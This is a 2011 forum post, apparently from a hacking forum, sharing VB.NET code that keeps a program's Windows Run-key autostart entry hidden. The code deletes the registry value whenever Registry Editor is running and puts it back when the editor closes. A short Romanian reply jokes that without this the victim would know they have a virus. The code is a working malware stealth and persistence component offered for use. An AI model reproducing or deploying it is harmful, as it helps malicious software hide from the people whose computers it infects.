ICEBREAKER101010 Posted February 3, 2011 Report Posted February 3, 2011 Credit To : [Eprouvez]Usage :Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath) End SubWhen 'Registry Editor' is started, it goes through the registry, deletes your key before the user has a chance to see it in the Registry Editor. When Registry Editor is closed, it puts the key back in the same place it was deleted.NOTE: Works perfectly at around Timer1.Interval = 100Public Enum HKEY ClassesRoot CurrentUser LocalMachine Users CurrentConfig End Enum Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String) Dim List As New List(Of String) For Each Proc As Process In Process.GetProcesses List.Add(Proc.ProcessName) Next If List.Contains("regedit") Then Select Case HKEY Case HKEY.ClassesRoot Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey) If Key.GetValue(Name) IsNot Nothing Then My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name) End If Case HKEY.CurrentUser Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey) If Key.GetValue(Name) IsNot Nothing Then My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name) End If Case HKEY.LocalMachine Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey) If Key.GetValue(Name) IsNot Nothing Then My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name) End If Case HKEY.Users Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey) If Key.GetValue(Name) IsNot Nothing Then My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name) End If Case HKEY.CurrentConfig Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey) If Key.GetValue(Name) IsNot Nothing Then My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name) End If End Select Else Select Case HKEY Case HKEY.ClassesRoot Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey) If Key.GetValue(Name) Is Nothing Then My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue) End If Case HKEY.CurrentUser Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey) If Key.GetValue(Name) Is Nothing Then My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue) End If Case HKEY.LocalMachine Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey) If Key.GetValue(Name) Is Nothing Then My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue) End If Case HKEY.Users Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey) If Key.GetValue(Name) Is Nothing Then My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue) End If Case HKEY.CurrentConfig Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey) If Key.GetValue(Name) Is Nothing Then My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue) End If End Select End If End Sub Quote
luke999 Posted February 3, 2011 Report Posted February 3, 2011 slab...nu iti trebe asta sa stie omu ca are virus:P Quote